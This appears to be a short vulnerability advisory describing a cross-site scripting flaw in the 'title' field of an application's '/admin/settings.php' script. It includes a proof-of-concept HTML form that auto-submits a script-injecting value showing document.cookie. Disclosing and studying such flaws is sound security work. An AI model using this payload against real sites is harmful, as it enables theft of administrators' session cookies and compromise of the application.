  Vulnerability Details:
  User can execute arbitrary JavaScript code within the vulnerable application.
  
  The vulnerability exists due to failure in the "/admin/settings.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  An attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/admin/settings.php?action=validate" method="post" name="main">
  <input type="hidden" name="title" value='Site Title"><script>alert(document.cookie)</script>'>
  <input type="hidden" name="template" value="silver">
  <input type="hidden" name="Submit" value="Save changes">
  </form>
  <script>
  document.main.submit();
  </script>
